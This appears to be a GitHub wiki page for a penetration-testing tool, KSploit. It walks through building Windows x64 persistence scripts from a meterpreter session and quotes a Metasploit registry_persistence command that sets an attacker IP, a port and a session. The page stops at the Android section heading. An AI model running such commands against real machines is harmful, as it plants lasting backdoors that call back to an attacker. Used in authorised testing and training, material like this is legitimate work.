Skip to content

Persistence Scripts

Johnny Watts edited this page Apr 12, 2024 · 7 revisions

Persistence Scripts

  • From the main menu, press 4 to craft persistence scripts for windows x64 or android targets.

  • Press enter to continue

KSploit Persistence Splash Screen

You are presented with options:

KSploit Persistence Menu Options:
🖥️ 1. Windows Persistence Script.
🤖 2. Android Persistence Script.
🚪 q. Quit to the main menu.

Choose Option 1 to craft a Windows x64 persistence script

Choose Option 2 to craft an Android persistence script

Windows x64 Persistence Script

  • From the persistence menu, press 1 to craft a Windows x64 persistence script
  • Enter the attacker ip address (probably in the "current adapter addresses" on your screen)

KSploit Persistence Menu Windows x64 Persistence

  • Enter the target port, i.e. 4444 (the port the attacker machine is listening on)

KSploit Persistence Menu Windows x64 Persistence Port

  • Enter the session id of the meterpreter session created by the target

KSploit Persistence Menu Windows x64 Persistence Session

  • A persistence script will be generated with meterpreter commands for both current and older msfconsole versions

KSploit Persistence Menu Windows x64 Persistence Generated

  • Type (or copy/paste) the command related to your msfconsole version (everything highlighted in grey) at the meterpreter command prompt. i.e.: run exploit/windows/local/registry_persistence LHOST=10.0.2.15 LPORT=4444 SESSION=1
  • If all goes well, you have installed persistence to the registry of the target windows machine.

Android Persistence Script